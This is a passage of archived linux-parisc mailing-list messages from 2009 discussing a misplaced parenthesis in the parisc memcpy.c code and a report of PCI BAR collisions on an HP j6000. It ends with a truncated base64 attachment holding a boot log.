	<4A0E3D95.5090404@tausq.org>
	<b4198de60905152248t63514a4fmfa71f3a72d80770e@mail.gmail.com>
	<4A10BD1A.3060208@tausq.org>
	<1e3eba760906230753l4e14a025y6bc07a753999483e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245961797 5961 80.91.229.12 (25 Jun 2009 20:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jun 2009 20:29:57 +0000 (UTC)
Cc: roel.kluin@gmail.com, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 25 22:29:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJvZq-0004xi-S5
	for glpp-linux-parisc@gmane.org; Thu, 25 Jun 2009 22:29:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750720AbZFYU3l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Jun 2009 16:29:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751924AbZFYU3l
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Jun 2009 16:29:41 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:48938 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750720AbZFYU3k (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Jun 2009 16:29:40 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n5PKTQxH005761
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 25 Jun 2009 13:29:27 -0700
Original-Received: from akpm.mtv.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id n5PKTQjO027636;
	Thu, 25 Jun 2009 13:29:26 -0700
In-Reply-To: <1e3eba760906230753l4e14a025y6bc07a753999483e@mail.gmail.com>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Spam-Status: No, hits=-5.008 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1831
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1831>

On Tue, 23 Jun 2009 22:53:26 +0800
Randolph Chung <randolph@tausq.org> wrote:

> Here's an updated patch:
> 
> Reported-by: Roel Kluin <roel.kluin@gmail.com>
> Signed-off-by: Randolph Chung <tausq@parisc-linux.org>
> 
> diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
> index 2d68431..827e535 100644
> --- a/arch/parisc/lib/memcpy.c
> +++ b/arch/parisc/lib/memcpy.c
> @@ -405,7 +405,7 @@ byte_copy:
> 
>  unaligned_copy:
>         /* possibly we are aligned on a word, but not on a double... */
> -       if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
> +       if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
>                 t2 = src & (sizeof(unsigned int) - 1);
> 
>                 if (unlikely(t2 != 0)) {
> 

I think I'll delete this email.  If someone has a patch which they
think should be applied, please resend it with a changelog.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] misplaced parenthesis?
Date: Fri, 26 Jun 2009 09:38:35 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <4A44269B.4010302@tausq.org>
References: <4A0DC131.8020606@gmail.com>	<4A0E3D95.5090404@tausq.org>	<b4198de60905152248t63514a4fmfa71f3a72d80770e@mail.gmail.com>	<4A10BD1A.3060208@tausq.org>	<1e3eba760906230753l4e14a025y6bc07a753999483e@mail.gmail.com> <20090625132925.982bc72d.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245980319 17733 80.91.229.12 (26 Jun 2009 01:38:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 01:38:39 +0000 (UTC)
Cc: roel.kluin@gmail.com, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 03:38:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MK0Od-0000sG-Ih
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 03:38:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752293AbZFZBi0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Jun 2009 21:38:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752443AbZFZBi0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Jun 2009 21:38:26 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.183]:12930 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752293AbZFZBi0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Jun 2009 21:38:26 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j5so376719wah.21
        for <linux-parisc@vger.kernel.org>; Thu, 25 Jun 2009 18:38:29 -0700 (PDT)
Original-Received: by 10.115.54.7 with SMTP id g7mr5055435wak.86.1245980309015;
        Thu, 25 Jun 2009 18:38:29 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id l28sm5014161waf.54.2009.06.25.18.38.26
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 25 Jun 2009 18:38:28 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <20090625132925.982bc72d.akpm@linux-foundation.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1832>

Kyle has merged this into the parisc tree.

thanks
randolph

Andrew Morton wrote:
> On Tue, 23 Jun 2009 22:53:26 +0800
> Randolph Chung <randolph@tausq.org> wrote:
>
>   
>> Here's an updated patch:
>>
>> Reported-by: Roel Kluin <roel.kluin@gmail.com>
>> Signed-off-by: Randolph Chung <tausq@parisc-linux.org>
>>
>> diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
>> index 2d68431..827e535 100644
>> --- a/arch/parisc/lib/memcpy.c
>> +++ b/arch/parisc/lib/memcpy.c
>> @@ -405,7 +405,7 @@ byte_copy:
>>
>>  unaligned_copy:
>>         /* possibly we are aligned on a word, but not on a double... */
>> -       if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
>> +       if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
>>                 t2 = src & (sizeof(unsigned int) - 1);
>>
>>                 if (unlikely(t2 != 0)) {
>>
>>     
>
> I think I'll delete this email.  If someone has a patch which they
> think should be applied, please resend it with a changelog.
>
>   

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 12:58:22 +0400
Lines: 13
Approved: news@gmane.org
Message-ID: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246007108 10962 80.91.229.12 (26 Jun 2009 09:05:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 09:05:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 11:05:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MK7Mh-00063h-P3
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 11:05:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756322AbZFZJEy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 05:04:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755613AbZFZJEy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 05:04:54 -0400
Original-Received: from mail-bw0-f213.google.com ([209.85.218.213]:43776 "EHLO
	mail-bw0-f213.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753318AbZFZJEx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 05:04:53 -0400
Original-Received: by bwz9 with SMTP id 9so1889178bwz.37
        for <multiple recipients>; Fri, 26 Jun 2009 02:04:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=VLg2QAjaJIIremXg9asApQkPKO5gcSr0VlqZrShumP0=;
        b=mJJuQl8klZJuRNGKT7aY9bspyznIMzG01tZZmJ6D2RounuhAT8JdVgi4qOPU5cNQwT
         SRiJjU2S+03ywXK1s4k2UX91p4iXN844sGz8ftK45t9hHdylx75T3XKdzfHjdXtm+/Cd
         NiFM2pzP/lXYftIPv6vR2WM7McD9kj+SAF8X0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=lvLSaMvxr9s6WJy90TWGCJCBCiZYic3AXl+gG1IdVZ8+6jXSENZOKbNVQ0CWFIIDaC
         vUCy7X4Vp9PIxF06oceIVTAOnFS3fMj8j1mj8sRMp+8M27SDcoT0L/mOEbePVC9RR/SN
         T+g2ZssiOlCD4J/ydO34O78rxwqYOeQUzdXU4=
Original-Received: by 10.204.120.16 with SMTP id b16mr3458351bkr.64.1246006702085; Fri, 
	26 Jun 2009 01:58:22 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1833 gmane.linux.kernel:857723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1833>

Hi

Hardware is HP j6000.
It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
usb(onci)) and cannot boot (no root device).
Messages like this:
sym53c8xx 0:0:0f.0: device not available because of BAR 1 [0xf4005000
- 0xf40053ff] collisions.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 14:37:40 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <1246027060.3925.18.camel@mulgrave.site>
References: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246027075 6563 80.91.229.12 (26 Jun 2009 14:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 14:37:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 16:37:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKCYm-0004cG-0g
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 16:37:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752546AbZFZOhn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 10:37:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751910AbZFZOhm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 10:37:42 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51361 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751839AbZFZOhm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 10:37:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AA55D8EE0FC;
	Fri, 26 Jun 2009 07:37:45 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nsKsIbFvfXt6; Fri, 26 Jun 2009 07:37:45 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3BB688EE0C8;
	Fri, 26 Jun 2009 07:37:43 -0700 (PDT)
In-Reply-To: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1834 gmane.linux.kernel:857851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1834>

On Fri, 2009-06-26 at 12:58 +0400, Alexander Beregalov wrote:
> Hardware is HP j6000.
> It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
> usb(onci)) and cannot boot (no root device).
> Messages like this:
> sym53c8xx 0:0:0f.0: device not available because of BAR 1 [0xf4005000
> - 0xf40053ff] collisions.

This tends to indicate a problem with resource parenting ... could you
post the full boot output?  That might indicate why.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.31-rc1: parisc: multiple PCI BAR collisions
Date: Fri, 26 Jun 2009 17:08:23 +0200
Lines: 129
Approved: news@gmane.org
Message-ID: <20090626170823.0a8730b7@epia.jer-c2.orkz.net>
References: <a4423d670906260158q15080049ue516c3d454f4afbf@mail.gmail.com>
	<1246027060.3925.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/1SPIe_0Bl6eF9ghXbW4nEUd"
X-Trace: ger.gmane.org 1246029513 15059 80.91.229.12 (26 Jun 2009 15:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jun 2009 15:18:33 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 26 17:18:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MKDC4-0005RU-JO
	for glpp-linux-parisc@gmane.org; Fri, 26 Jun 2009 17:18:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751722AbZFZPST (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jun 2009 11:18:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752874AbZFZPST
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Jun 2009 11:18:19 -0400
Original-Received: from smtp-vbr19.xs4all.nl ([194.109.24.39]:4592 "EHLO
	smtp-vbr19.xs4all.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751722AbZFZPSS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jun 2009 11:18:18 -0400
X-Greylist: delayed 590 seconds by postgrey-1.27 at vger.kernel.org; Fri, 26 Jun 2009 11:18:17 EDT
Original-Received: from epia.jer-c2.orkz.net (atwork-106.r-212.178.112.atwork.nl [212.178.112.106])
	(authenticated bits=0)
	by smtp-vbr19.xs4all.nl (8.13.8/8.13.8) with ESMTP id n5QF8QYJ053747;
	Fri, 26 Jun 2009 17:08:26 +0200 (CEST)
	(envelope-from jer@gentoo.org)
In-Reply-To: <1246027060.3925.18.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.1 (GTK+ 2.14.7; i686-pc-linux-gnu)
X-Virus-Scanned: by XS4ALL Virus Scanner
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1835 gmane.linux.kernel:857864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1835>

--MP_/1SPIe_0Bl6eF9ghXbW4nEUd
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Fri, 26 Jun 2009 14:37:40 +0000
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> On Fri, 2009-06-26 at 12:58 +0400, Alexander Beregalov wrote:
> > Hardware is HP j6000.
> > It cannot initialize many PCI devices (sym53c8xx, tulip, STI,
> > usb(onci)) and cannot boot (no root device).
> > Messages like this:
> > sym53c8xx 0:0:0f.0: device not available because of BAR 1
> > [0xf4005000
> > - 0xf40053ff] collisions.
> 
> This tends to indicate a problem with resource parenting ... could you
> post the full boot output?  That might indicate why.

Here goes.


Kind regards,
     jer
--MP_/1SPIe_0Bl6eF9ghXbW4nEUd
Content-Type: application/x-bzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=minicom.cap.bz2

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
